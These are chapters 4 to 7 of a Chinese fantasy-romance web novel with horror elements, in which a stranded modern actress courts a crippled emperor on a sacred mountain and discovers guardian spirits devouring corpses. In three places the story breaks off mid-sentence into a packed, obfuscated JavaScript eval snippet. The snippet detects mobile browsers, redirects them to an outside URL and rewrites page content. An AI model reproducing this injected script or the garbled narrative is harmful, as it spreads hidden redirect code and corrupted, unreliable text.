周清玄并不轻信那女子所言。守山灵说得对,帝王冢不容外人踏足,即便是其他神灵亦不可。 那么,唯有一种可能。 他抬眸望向神像,声音低沉:“为何放她进来?你究竟意欲何为?” 山神静默,未予回应。 谢冬瑗踏入殿内时,只见周清玄闭目静坐于轮椅之上,烛光落在他脸上,勾勒出如玉般的轮廓。而一旁的周清城,却张着嘴鼾声如雷,嘴角还挂着亮晶晶的口水。 初见周清城时,谢冬瑗着实吓了一跳,那时她全神贯注于那六副棺材,直到此刻才注意到他身后还拖着一副轮椅。 原来,那轮椅是为周清玄准备的。 原来,他是个残疾人。 谢冬瑗对哭哭他们比了个噤声的手势,踮起脚尖,轻手轻脚地踏上木板地。 哭哭乖巧地捂住小嘴,亦步亦趋跟在她身后。当他瞥见今早欺负自己的人正张着嘴酣睡时,眼珠一转,计上心来。 他示意嘟嘟去外面采了一把草,五个小家伙蹑手蹑脚地将草叶撕碎,一点一点塞进周清城嘴里。 其实在谢冬瑗看来,周清玄算不上上等。她在国内外见过太多美人,他这般容貌顶多算是清秀,加之瘦骨嶙峋,实在过于干瘪。 何况她喜欢的是像桃总那样的肌肉猛男,周清玄这种她欣赏不来。 若有若无的桃香萦绕在他周身,脸上传来一阵痒意,周清玄缓缓睁眼,一张姣好的面容近在咫尺。 “你醒啦。”朱唇轻启,温热的气息拂面而来。 他微微蹙眉,轻轻推开谢冬瑗:“木木,或许你还不懂人间规矩,男女之间不该如此亲近。” 谢冬瑗不恼反笑,双手扶上轮椅扶手,俯身逼近:“你生得这般好看,我忍不住想靠近你,怎么办?我好像控制不住自己呢。” 她敏锐地捕捉到周清玄耳尖泛起的一抹薄红。 撩人嘛,信手拈来。 “咳、咳……阿嚏!”周清城满嘴草屑,吐了半天,却有些草叶钻进鼻孔,惹得他连打数个喷嚏。 哭哭几个见恶作剧得逞,慌忙躲到谢冬瑗身后。 “谁往我嘴里塞草?是不是你们几个小崽子?”周清城怒气冲冲地走来,哭哭他们吓得紧紧攥住谢冬瑗的裙摆。 谢冬瑗淡然道:“在山神面前酣睡,姿态还如此不雅,定是山神在惩戒你。” 周清城挠挠头,望了眼神像,觉得此话在理,便不再追究。 直到一阵响亮的肠鸣打破寂静。 周清城这才想起谢冬瑗本该带饭回来,猛然起身:“饭呢?我和哥哥等到天黑,怎么现在才来?” 谢冬瑗掀开篮布,露出里面的桃子:“在这儿。” 看到篮中只有桃子,周清城的脸瞬间垮了下来:“怎么只有桃子?米饭呢?” “没有。” “那肉总该有吧?山上总该有山猪或兔子。” “没有。” 周清城仍不死心:“实在不行,狼肉我也能将就。” 齐双双的五双眼睛齐刷刷瞪向他。 周清玄扶额叹息。 “没有!” 周清城嘟囔道:“这也没有那也没有,酒总该有吧?” 哭哭气鼓鼓地将装泉水的竹筒和桃子重重放在桌上:“没有!就这些,爱吃不吃!”说完拉着其他四人扭头就走。 周清城瘫在椅上,一脸生无可恋。 谢冬瑗将桃子洗净切块,正要端给周清玄,却被周清城拦住:“这一小口一小口吃着不过瘾,给我整个的就行。”见谢冬瑗不理,他自顾自拿起一个桃子,往衣襟上蹭了蹭,大口啃起来。 谢冬瑗将果盘递给周清玄时,他刻意避开她的指尖,温声道:“多谢木木。” 这么嫌弃她? 谢冬瑗暗暗攥紧手指。 周清玄吃相极为优雅,拈起桃块时宛若执棋,从容不迫。 谢冬瑗在他身旁坐下,目光不由自主落在他腿上。虽看不见衣料下的情形,但从隐约的轮廓判断,他的腿应该只是无法行走。 许是她的视线太过直白,周清玄停下动作,抬眼看来:“木木?” 谢冬瑗一怔,轻声问:“周清玄,你的腿怎么了?” “旧伤,动不了了,只得倚仗轮椅。”他语气平静,像是在谈乱别人的腿伤。 察觉话题沉重,谢冬瑗便转了话头,毕竟初识不久,不宜触及伤心事。她问出另一个疑惑:“碧水潭边那六副棺材里是谁?我回来时路过,看着实在瘆人。棺材为何不埋入土,反而摆在潭边?” “那是我六位兄长。” 谢冬瑗还想再问,周清玄却以天色已晚,早些歇息为由婉拒。只在最后叮嘱一句:“帝王冢湿气重,夜寒凉,晚上莫要出门。” 离开极生殿后,守山灵走在前面,谢冬瑗突然停住脚步,远远的看着极生殿的神像。 “山神之女,你站在那干什么吗,不和我们一起走吗?” 她轻声道:“你们觉得这神像有几分像我?” 哭哭用着奇怪的眼神看着谢冬瑗,“你说什么呢,没有人可以看清山神像真实的样貌。” 原来如此。 - 守山灵告诉谢冬瑗,此处除极生殿外别无屋舍,自然没有供她安眠的房间。 “那你们平日睡在何处?” 奇奇骄傲地挺起胸脯:“整座山都是我们的家, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922904|192639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何处不可为席?” 难道要睡在野地里? 谢冬瑗倒吸一口凉气,转身就要回极生殿。 圆圆和嘟嘟忙拦住她:“你是山神之女,与我们同属一脉,不可与周氏皇族同宿极生殿。” 哭哭拉着她的手软声道:“山神之女别怕,和我们同宿很安全的。” 鹿鹿抿着嘴看着谢冬瑗。 谢冬瑗半推半就被带到桃林。哭哭特地让出自己平日歇息的小窝,是一个铺满落叶的树洞。其他守山灵也睡在四周,似是为了防止她夜访极生殿。 而那些白天在碧水潭边见到的魇狼此刻潜伏在桃树林里,绿油油的眼睛在暗处若隐若现。 “那些魇狼也和我们一起睡在这里吗?”谢冬瑗好奇的问。 哭哭说,“魇狼不仅是我们的坐骑,还会在睡觉的时候帮我们吃掉噩梦。” 谢冬瑗翻了个身,问,“你们晚上经常做噩梦吗?” “我们每天晚上都做噩梦,那些噩梦都很可怕,如果没有魇狼帮我们吃掉噩梦,我们晚上根本睡不着觉。” “那你们会做什么噩梦呢?”谢冬瑗问。 哭哭正想说,被睡在树枝上的鹿鹿打断,“该睡觉了。” 哭哭闭嘴,他抬头瞧了一眼闭着眼睛的鹿鹿,极其小声的问谢冬瑗,“你晚上不会做噩梦吗?” “偶尔吧,很少。” “山神之女,你真幸福。” 少做噩梦就是幸福,这些守山灵是不知幸福的涵义,还是他们的噩梦太过于可怕? 谢冬瑗不敢细想。 临睡前,哭哭郑重告诫:“山神之女,晚上千万别乱跑哦!” 谢冬瑗伸着懒腰应道:“知道啦。” 见她满不在乎,哭哭再次叮嘱:“夜里这儿很危险的,尤其是桃林里的萤火虫,脾气可大了。若吵醒它们,会追着你咬的!” “知道啦,知道啦。” 萤火虫不过是发光的小虫,她见得多了,那般可爱的小东西怎会咬人?定是这孩子怕她去找周清玄,故意吓唬她的。 谢冬瑗在落叶铺就的床上翻来覆去,难以入眠,她始终想着碧水潭边那六副棺材。 若其中真是周清玄的六位兄长,为何不依皇子礼制下葬,反而置于潭边? 当她欲深问时,周清玄显然不愿多谈。 谢冬瑗无力地躺在落叶中,身侧传来哭哭均匀的呼吸声。她开始怀念s市中心那栋五百平的别墅,怀念深陷其中的软床。 她在娱乐圈拼搏多年,几乎未曾休假,只为有朝一日实现财富自由后全身而退。明明目标近在眼前,一切却烟消云散。 此时此刻,她对那个将她带入这荒唐世界的山神充满怨念。 可神意岂是凡人能违?她除了听从山神之命,从周清玄手中取得王遗,别无选择。 忽然,远处传来几声凄厉的狼嚎,谢冬瑗浑身汗毛倒竖。 “哭哭?”她下意识伸手探向身旁,却摸了个空。 不知何时,守山灵们已消失在桃林中。四野空寂,唯有狼嚎阵阵,令她心惊胆战。 作为恐怖片爱好者,谢冬瑗深知好奇心害死猫的道理,绝不会重蹈电影角色的覆辙。 她捂住双耳,试图隔绝那渗人的声音,可嚎叫声却越来越近。 她害怕得浑身发抖。 她还不想死在这个世界,她还没回家呢。 白日如霞似锦的桃林,此刻阴森如鬼域,四周不知何处潜伏着野兽。 帝王冢上唯一称得上安全之所,唯有极生殿。 那么,她是该留在原地静待天明,还是冒险前往极生殿? 5. 第 5 章 那肯定是去四周有墙壁的极生殿啊! 况且极生殿处不仅一个身高九尺的壮汉,最重要的是有着帝王光环的周清玄。 想到此,谢冬瑗屏住呼吸,仔细环顾四周。漆黑的夜里,唯有萤火点点,四周是死一般寂静,连虫鸣都诡异地消失了。 她定了定神,提起裙角,蹑手蹑脚地朝极生殿的方向摸去。 浅淡的月光稀稀落落地洒在夜里的桃林间,叶片上栖息着萤火虫,一只只宛若未熟透的绿色小番茄,发出莹绿色的光。 谢冬瑗凭着白天的记忆,一步一步在林中摸索前行。不料指尖无意擦过一片桃叶,瞬间惊动了叶上安眠的萤火虫。 整片桃林的萤火虫顷刻间振翅而起,密密麻麻的绿光悬浮着,发出令人头皮发麻的振翅声,疯狂朝她扑来! 谢冬瑗尖叫一声,再也顾不上去极生殿,抱头乱跑。 那些萤火虫虽不蜇人,但成千上万扑飞而来,绿光闪烁如鬼火缭绕,着实令人心惊胆战。 她不知跑了多久,直到身后振翅声渐远,才敢停下脚步,扶着树干剧烈喘息。 “小小萤火虫,脾气倒挺大,不就碰了一下嘛。”她回头望去,那些绿光仍在远处盘旋,却仿佛被什么无形屏障阻隔,不敢再向前一步。 待喘息稍定,谢冬瑗这才惊觉自己竟跑到了碧水潭边。 白日里青绿透亮,流水潺潺的碧水潭水面笼罩着一层粘稠的绿雾,阴森如鬼域。 她小心翼翼地沿潭边行走。 忽然,她的脚步僵住了。 前方不远处,正是白日里周清城放置在潭边的六副棺材。 此刻棺盖尽开,借着潭水散发的绿光,她清晰地看见魇狼与守山灵们正埋头啃食着棺中尸体。 咀嚼声窸窣作响,如同恶魔低语。 一具尸体被撕扯得支离破碎,肠子拖拽在地上,被奇奇像吃面条般吸溜着吞下。鹿鹿正专心致志地啃食一颗眼珠,鲜血顺着他的嘴角流淌,嘟嘟抓着一截手臂,像啃胡萝卜般津津有味地啃食着。 腐肉的恶臭味散溢在空气中,谢冬瑗只觉得胃里翻江倒海,双腿发软,连呼吸都停滞了。 就在这时,一阵阴风吹落她发间的一片桃叶,叶子轻飘飘落于水面。 六双泛着绿光的眼睛,齐刷刷抬起! 那一张张印着白徽纹的脸上沾满暗红色的血迹,奇奇嘴里还叼着一块滴着血水的人肉,鹿鹿抹了抹嘴角的血沫,嘟嘟瞥了她一眼,继续埋头啃食手中那截已经露出白骨的手臂,哭哭则呆呆望着她,眼神空洞。 他们似乎并不排斥她的出现,只是略显诧异。 哭哭从棺中捞起一块已经发黑的腐肉,蹦蹦跳跳地走到谢冬瑗面前,天真无邪地说道:“山神之女,给你吃。” 那腐肉散发着令人作呕的恶臭,上面还爬着蠕动的蛆虫。 谢冬瑗只觉得一股寒意从脚底直冲头顶,连尖叫都发不出来,转身就没命地狂奔,留下几个守山灵面面相觑。 哭哭愣愣地看着手里的腐肉,转头问鹿鹿:“鹿鹿,山神之女是不是气我们没喊她一起吃?” 鹿鹿吐出嘴里的碎骨,歪着头想了想:“可能是吧。” 奇奇还在一个劲打嗝,每打一个嗝就喷出些许血沫。 嘟嘟吞下口中最后一块肉,提议道:“那我们留一块最好的给她赔罪吧,好久没有新伙伴了,可不能让她生气。” 鹿鹿点头:“好,等会儿就去找她。” - 谢冬瑗慌不择路地在林中奔逃,树枝划破了她的小腿和手臂,她却浑然不觉。脑海中不断闪现着方才那可怖的画面,滴着血水的人肉,爬满蛆虫的腐肉,被啃食得支离破碎的尸体…… 她不知跑了多久,直到看见极生殿的轮廓,才稍稍松了口气。 殿门外,那个体型巨大的男人正鼾声如雷。 她提起裙摆,轻手轻脚越过周清城,一把推开房门。 “周清玄!快醒醒!”她的声音带着哭腔。 周清玄从睡梦中惊醒,朦胧间对上一双清澈而焦急的绿眸。 “谁!”门外传来一声怒喝。 谢冬瑗本就惊魂未定,这一声吓得她直接钻进周清玄的被子里,瑟瑟发抖。 “七哥,我好像听见你房里有女人的声音?”周清城推门而入,见周清玄已坐起身,房中却无旁人,不禁挠头嘀咕:“难道我听错了。” 周清玄垂眸,感受到被中那温软的身躯正隔着里衣紧贴着他,一双手死死抓着他的腰部的衣襟。 一种陌生的情绪悄然蔓延,他竟不觉得排斥。 “阿城,你先出去。”他平静道。 周清城挠挠头一脸困惑地退了出去。 周清玄隔着被子轻拍谢冬瑗的背,声音温和:“木木,可以出来了。” 谢冬瑗从被中探出一双眼睛,眨了眨,神情无辜又可怜。 他柔声问:“木木,发生什么事了?” 谢冬瑗这才断断续续地将方才所见一一道来,说到守山灵们啃食人肉的细节时,胃里她差点忍不住干呕起来。 周清玄静静听着,直到她说完,才注视着她的眼睛,缓缓开口:“木木,你真的是山神之女吗?” 谢冬瑗一怔,正欲编个理由搪塞,门外却传来喧闹。 “你们怎么来了?” “我们是来找山神之女的!” “哎,别进去,我七哥在休息!” 门被推开,谢冬瑗迅速缩回被中,双手紧紧环住周清玄的腰。 周清玄失笑,隔着被子轻轻按住她的手臂。 她真的很像皇宫里那只经常趴在墙头的小白猫,无人的时候总是会跳下墙来,用它毛茸茸的头蹭他的裤脚,宫人一来它又立马跳上墙头。 周清城虽人高马大,却拦不住几个灵活的少年。哭哭几人一边吸引他的注意,一边钻空子溜进房中。 “周国皇帝,山神之女呢?”鹿鹿顶着一对鹿角,左右张望。 被中的谢冬瑗又紧张地缩了缩。 周清玄低头轻声道:“木木,出来吧,有我在,没人能伤你。” 谢冬瑗这才慢吞吞从他背后探出身来。 鹿鹿有些不悦:“山神之女,你为何躲着我们?” 哭哭挣脱周清城,急忙道:“对不起,我们不是故意不喊你的!” 奇奇和嘟嘟也挤上前,奇奇说道:“我们给你留了一块,喏,在嘟嘟手里。” 嘟嘟捧着一片绿叶包裹的东西递上前。那叶片已被血水浸透,隐约可见其中包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922905|192639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裹着一块尚在滴血的肉块。 谢冬瑗顿时想起碧水潭边那可怖的一幕,连忙摆手道:“谢谢,我不吃这个,你们自己留着吧。” 五个少年面面相觑,耳朵耷拉下来,一致认为她还在生气。 谢冬瑗见他们失落,心中稍软。她意识到这里并非现代世界,哭哭他们或许并非人类,食人肉或许是他们的生存方式,何况他们吃的并非活人,而是棺中尸体。 想到白天他们热情邀请她一起吃桃子,哭哭甚至让出自己常睡的位置给她,谢冬瑗勉强压下心中的不适,解释道:“我不是生气,只是真的不爱吃这个。” 奇奇好奇地问:“为什么?这些祭品是我们和魇狼的养分,每回周国皇帝送来,我们都会一起吃的呀。” 谢冬瑗心头一颤,山神可没告诉她,当山神之女还得吃人肉!她宁可饿死,也绝不愿碰那腐肉一口。 “我……大概不需要这些。”她低声说。 五个少年仍疑惑地盯着她,仿佛在判断她话语的真假。 周清玄适时开口:“阿城,送几位守山灵出去,我和木木该休息了。” 周清城应声,一手拎两个,将哭哭几人请出了房门。 殿内恢复寂静。 然而这安静并未让谢冬瑗安心,反而令她有些发毛,因为周清玄自始至终都注视着她,目光如审视。 他缓缓开口,声音低沉而认真:“木木,现在我希望你如实告诉我,你究竟是谁?” “我不知道我是谁,我只知道了自己从碧水潭中而来,唤做木木。”谢冬瑗的眼睛蒙上了一层薄雾,在朦胧的月光下泛着莹莹水光。 她就这样直直地看着周清玄,声音里带着几分颤抖,“周清玄,你不相信我,那你好好看着我的眼睛,看我是不是在说谎?” 谢冬瑗眼里的纯真几乎要像眼泪一样溢出眼眶,那双翠绿的眸子在月色下显得格外清澈。 周清玄只是淡淡地瞥了她一眼,声音平静无波:“木木,我不喜欢人对我说谎。” “周清玄,我没有对你说谎。” 周清玄微微笑着,没有说话。月光从他身后的窗棂洒落,在他周身镀上一层清冷的银边。 谢冬瑗自认为演技好到可以以假乱真的地步,有时候她连自己都可以骗过,可周清玄的样子不像是完全相信她。 如果脸上的表情不足以骗人,那么用语言呢? “我没有记忆,在这里谁都不认识,在上岸前,我第一个见到的人就是你了。”她的声音轻柔似水,带着几分无助,“这里白天看着还好,夜里真的很可怕。我不知道可以相信谁,但是我第一时间就想到了你,所以,我就来找你了。” 那双翠绿的眼睛,就算没有烛火的照耀,凭借着那淡色的月光,也能看出其中的清澈。 周清玄觉得,比碧水潭里的水还要清澈见底。 他并不是因为木木的言语行为而不相信她,事实上,在这个世界上,除了周清城以外,他不再相信任何人。 周清玄从小便生活在皇宫中,见多了各种形形色色的人,有些人确实是真诚待他,却也没有妨碍他们在关键时刻害他。 是真的便是真的,是假的便是假的。 一切对他来说,都像镜花水月般不太重要。 6. 第 6 章 不过,他开始产生好奇心,他要看看,这个叫做木木的女子接下来究竟要对他做什么。 “好,我愿意相信你。”周清玄的声音忽然柔和下来。 说完,他凝视着谢冬瑗的眼睛,缓缓地伸出手。指尖在触碰到她肌肤的那一刹那,什么变化都没有发生,甚至他能感受到她脸颊娇嫩的触感。 紧接着,那滴温热的眼泪滑到他的手指上,周清玄如梦初醒般恋恋不舍地离开她的脸颊。 “木木,你真的很不一样。”在那月色里周清玄的脸阴暗诡谲,“夜色已深,你要是不介意的话,今晚就……” “不介意!一点也不介意!”周清玄的话还没有说完,谢冬瑗已经麻溜地钻回被子里,只露出一双明亮的眼睛望着他。 周清玄低声笑了起来。不过遇到了这个女子一天的时间,周清玄感觉自己的笑加起来比起过去的十年还要多。 他的枕边从来没有留下任何人,而谢冬瑗是第一个。 在遇见谢冬瑗的那一刻起,他就不讨厌她,甚至在她对他做出的一系列亲密的举动时,他也没有产生反感之意。 如果,她能和自己下山就好了,这个念头在他心头一闪而过。 谢冬瑗睡在柔软的被子中,闻着其中棉花的清香,心想睡在卧房就是舒服。 刚才就算是周清玄不开口,她也会哀求周清玄收留她的。因为外边不仅睡得不舒服,而且还有着一群吃人肉的小孩。 虽然这群小孩不会吃自己,但是她害怕那群小孩举着那块腐肉追在她后边,想想就十分恐怖。 至于周清玄,谢冬瑗一点也不害怕和他睡在同一张床上。一个双腿残疾的男人,能做什么呢?就算真的做了什么…… 身旁传来周清玄均匀的呼吸声,谢冬瑗借着月光打量着他高耸的鼻子,分明的下颌角,心想要是他身体健全,跟他睡一起也……行吧。 最重要的是,山神说过,王遗必须是周清玄彻底爱上她,并且心甘情愿地献上王遗才可以。 所以,她必须跟周清玄多亲近,尽早地让他爱上自己。 到那时,她就可以回家了吧。 翌日,周清玄还未醒来时,鼻尖处萦绕着似有似无的草木清香,腰间被什么缠绕着,有股热气吹拂在他的脖颈处,他的心尖痒痒的,身体某种自然的悸动蠢蠢欲动,在等待着苏醒。 这种前所未有的反应让他感到慌张,他猛然地睁开双眼,想要推开那只缠绕在他身上的八爪鱼。 可当他的手按在谢冬瑗的手臂上时,那柔软又温热的触感传递过来,他愣住了。 下一秒,怀里的女子不满地嘟囔一声,双手双脚更加紧密地缠绕在他身上,脸颊贴着他的脖颈。 这下,周清玄身体里那蠢蠢欲动的反应彻底苏醒了。 他用力地推开,还在睡梦中的谢冬瑗一下子就滚到了地上,睡眼朦胧的她揉了揉双眼。 “我睡到了地上吗?”谢冬瑗迷迷糊糊地说,声音里带着刚醒来的沙哑。 床上的周清玄胸口此起彼伏,谢冬瑗见天还没亮,想爬上去再多睡一会儿。 周清玄伸出手挡住她的去路,声音有些暗哑:“抱歉,我不太适应和别人睡在一张床上。” 他背着窗户,就算有月光,谢冬瑗也只能勉强看见他在喘气。周清玄不说,看这反应谢冬瑗也知道他身体产生了某种变化。 生理有反应也是一种喜欢不是吗?这对谢冬瑗来说是个好消息,那说明周清玄对她并不排斥。 黑暗里,谢冬瑗露出一个奇异的微笑。 当极生殿的第一束光照到周清玄脸上时,他醒了。 门外,周清城的呼噜声依旧在震天动地响亮。 “阿城。”周清玄向往常一样唤周清城,周清城没有回音,依旧打着呼噜。 正当他打算二次呼唤时,窗外沙沙作响的竹叶吸引了他的注意力。 忽然,一片竹叶吹进来,在晨光中打着旋儿,飘着飘着,落到了一处,周清玄的瞳孔微微睁大。 墙角处,谢冬瑗穿着一身轻薄的绿萝裙,双眼紧闭,蜷缩在角落里,像一只被遗弃的小猫。 昨天赶她下床,她一整晚就睡在那里吗? “木木?”周清玄嗓音低沉。 “嗯?”谢冬瑗蜷缩的身子慢慢地展开,她坐在地上,眯着眼睛看着床上的人,眸子里还带着惺忪的睡意。 “你晚上就睡在那里吗?” “嗯嗯!”谢冬瑗点点头,随后她小心翼翼地看向周清玄,“我睡在角落里,没有打扰到你吧?” 周清玄抿着嘴唇,目光微闪。 见周清玄不言,谢冬瑗紧张道:“周清玄,我睡在这里你生气了?你不要赶我走好不好,我实在是害怕外边,我我……” 周清玄凝视着谢冬瑗:“木木,我没有赶你走。” 谢冬瑗目光熠熠,立刻趴到床边,仰着脸看着周清玄:“周清玄,你对我真好。” “好吗?”周清玄冰凉的指尖划过她的脸,“木木,以后都要保持这样,我很喜欢。” 喜欢就对了。谢冬瑗笑着,不动声色地掩埋着眼底的异色。 “你这女人怎么会在我哥房里!”门被大力的推开,周清城惊愕的脸出现在二人面前,“我记得明明昨天检查过了,房间里是没人的啊。” 周清城快步走向前,一把扯住谢冬瑗的胳膊就要把她拖走,“你们守山灵一点规矩也不懂吗,我七哥不喜欢被人打扰,你不能出现在这里。” “周清玄救我!”谢冬瑗挣扎道,目光哀求地望向周清玄。 “阿城,放开她。”周清玄斥责道,“我允许她留在我身边。” 周清城一愣,松开了谢冬瑗。 对这个身材巨大的壮汉,谢冬瑗被他抓住时,一点反抗能力也没有,她愤愤地瞪了周清城一眼,然后朝着周清玄说,“我先走啦。” 周清玄目送着她的背影,对着周清城道:“阿城,扶我起来坐轮椅。” - 白日里,碧水潭边又恢复了生机勃勃的样子。阳光透过层层叠叠的竹叶,在小径上投下错落的光影。 谢冬瑗出极生殿时,先去桃林顺走两个桃子,漫步走在碧水潭边。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922906|192639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 碧水潭的美,谢冬瑗每一次看都让她不由地发出感叹,这个世界竟然会有这么美的地方! 潭水清澈见底,倒映着四周苍翠的竹林,偶尔有几片竹叶飘落,在水面激起圈圈涟漪。 “要是宋睿看到了,一定会将这里开发成一个旅游景区。”谢冬瑗说完这句话,眼神暗淡了几分。 如果在那个世界她最牵挂的人,那一定是宋睿。 “宋睿,我消失了这几天,在那个世界,你很着急的在找我吧?”谢冬瑗喃喃道,手中的桃子忽然失去了滋味,“对不起,又让你担心了。” 她想回到原来的世界,真的很想。 谢冬瑗沉浸在自己的思绪里,不知不觉中已经走到了最初遇见周清玄的那个地方。 她坐在玉床上,吃完最后一个桃子。 “山神之女,你也在吃桃子呀?”哭哭提着一篮子的桃子,眼睛亮亮地看着谢冬瑗。 他身后的四个守山少年们怯生生地站着,因为昨天晚上的抗拒,他们不敢上前,只是咬着嘴里的桃子,眼睛一眨一眨地看着谢冬瑗。 就连最开始盛气凌人的鹿鹿也只是抿着嘴静静地看着她。 谢冬瑗虽然接受不了和他们一起吃人肉,但也明白这些守山灵给她吃人肉是好意。 不知道什么时候才能下山,她还有好多事情想问一问他们,和他们闹矛盾并不会有什么好结果。 周清玄并不相信她,关于山神与周氏皇族的关系她现在只能先从这几个守山灵里了解。 谢冬瑗挥手招呼着他们几个过来,声音温柔:“一起坐嘛。” 这下,他们不再拘束,而是一窝蜂地坐在了谢冬瑗的周围。 “吓死我们了,我还以为自从昨天晚上你躲着我们,之后你就不会在理我们几个了。”嘟嘟委屈地说,胖乎乎的脸皱成一团。 “山神之女,你能和我们讲话,我们真的很开心。”圆圆捧着圆脸笑道,眼睛弯成了月牙。 “你们几个那么可爱,我怎么会不理你们呢,我还有好多事想问你们呢。”谢冬瑗柔声道,伸手摸了摸圆圆的头。 奇奇拍了拍胸口,自信道:“山神之女,你尽管问奇奇,只要是这座山上发生的事情,就没有我奇奇不知道的事情!” 谢冬瑗被他的样子逗笑了:“哦,奇奇那么厉害,什么都知道啊。” 奇奇昂首挺胸,一副得意洋洋的模样。 相对比周清玄那个心机深重的人,这几个守山灵单纯的像个白纸,果然先找他们了解情况是对的。 “我想知道为什么你们会吃周清玄他们带来的祭品?”谢冬瑗询问道。 谢冬瑗的第一个问题就让信誓旦旦的奇奇犯了难,奇奇呆了呆,挠头腮耳:“我也不知道为什么要吃,只是脑子里有个念头必须要吃他们带来的祭品。” 奇奇的回答不禁让谢冬瑗想到了一个词,那便是丧尸。无论是电视剧还是电影里面的丧尸,他们所有的一切行动来源那便是吃人肉。 那奇奇他们呢,也和那些丧尸一样吗? 这个念头让谢冬瑗不寒而栗。 7. 第 7 章 谢冬瑗伸手轻轻捏了捏圆圆的脸颊,指尖传来的触感□□弹弹,带着孩童特有的韧性与生机,与电影中那些腐烂狰狞的丧尸截然不同。 “哎哟,你干嘛捏我呀!”圆圆瘪着嘴,揉了揉被捏过的地方,眼睛里闪着委屈的光。 谢冬瑗笑眯眯地看着她,语气温柔:“因为看你太可爱了呀。” 圆圆哼哼唧唧地扭过头去,嘴角却悄悄扬起。 这时,奇奇像是想起了什么,主动凑上前来。他刚才没能回答上山神之女的问题,此刻急于证明自己:“山神之女,你还有什么想问的吗?我什么都知道的!” 谢冬瑗故作沉思状,随后眼睛一亮:“还真有一个。昨天放在碧水潭的那六副棺材,里面的尸体和周清玄有什么关系?” 这个问题正中奇奇下怀,他立刻挺起小胸脯,声音清脆:“那些都是周氏皇族的尸体!” 竟然是他自己的亲族?谢冬瑗心中一动,这件事越发有趣了。 “那你们对山神了解多少呢?”她继续追问。 话音落下,在场的守山灵们不约而同地露出了迷茫的神色。 下一秒,诡奇的事情发生了。 五个守山灵齐声开口,声音空洞而缥缈: “山神是神,是这座山的神,是这个世间唯一的真神。任何人都不可以背叛她,否则神会发怒,天会落下猩红的雨腐蚀□□,地会分裂吞噬骨头,无人可以逃脱……” 他们的眼神变得空洞无光,仿佛陷入了某种魔障,口中反复呢喃着这几句话。 这怪异的声音在林中回荡,谢冬瑗越听心里越是发慌。 更可怕的是,随着守山灵们的吟诵,整座山开始剧烈摇晃,狂风呼啸着掠过树梢,碧水潭的水面泛起无数急促的涟漪。 谢冬瑗害怕到了极点。 她深吸一口气,一把撸起右袖,挨个给每个守山灵一个结实的爆栗。 “咚!” “咚!” “咚!” “咚!” “咚!” 清脆的敲击声接连响起。 “全都给我醒过来!”谢冬瑗叉着腰,气鼓鼓地喊道。 哭哭是最后一个被敲的,却是第一个哭出声的。 其他守山灵见状,也纷纷跟着抽泣起来。 “山神之女太坏了!” “呜呜呜,为什么要打我们……” 谢冬瑗气得直跺脚:“你们知不知道刚才做了什么?嘴里念着什么雨什么骨头的,要不是我及时制止,整座山都要被你们拆了!” 哭哭抽抽搭搭地揉了揉眼睛,一脸茫然:“咦?我们刚才做了什么吗?” 守山灵们面面相觑,纷纷表示不记得刚才发生了什么。 谢冬瑗叹了口气,若是再提起山神,怕是这几个小家伙又要发疯。 她心虚地瞥了眼他们头上渐渐鼓起的小包,悄悄移开视线,决定换个话题。 她走到潭边,将双脚浸入清凉的水中。冰凉的潭水包裹着双脚,舒适得让她忍不住感叹:“这里的山水确实很美,住上十天半个月度假倒是不错,但长期住下去岂不是太无聊了。” 嘟嘟仰着天真烂漫的小脸问:“无聊是什么呀?” “无聊就是不知道要做什么,也没有事情可以做。”谢冬瑗耐心解释。 嘟嘟歪着头想了想:“我们每天都有事情做的呀!要带着魇狼巡逻整座山,打扫极生殿,还要等待下一个周国皇帝带着祭品上山……” “你们从来没想过去看看山下的风景吗?” 守山灵们齐齐摇头。 鹿鹿垂下眼眸,长长的睫毛在脸上投下淡淡的阴影。 奇奇的声音带着几分落寞:“我们不能下山的。” “为什么?” “我们身上都有禁令。只要踏出这座山一步,脚下就会像踩在尖锐的刀片上一样,痛得走不动路。” 谢冬瑗脱口而出:“就像美人鱼一样。” “美人鱼是什么?”守山灵们好奇地围拢过来。 就在谢冬瑗准备解释时,树林深处突然传来一声悠长而凄厉的狼嚎。 周围的魇狼瞬间竖起耳朵,如离弦之箭般齐刷刷奔向声音的来源。 守山灵们也纷纷起身,哭哭兴奋地拉住谢冬瑗的手:“是魇狼生小狼了!我们快去看看!” 众人匆匆赶往声音传来的方向。途中,谢冬瑗似乎瞥见不远处有个轮椅的影子一闪而过,但还没来得及细看,就被哭哭拉着跑开了。 他们来到一片开阔的草地上。一只母魇狼奄奄一息地躺在地上,身边依偎着六只刚刚降生的小狼。 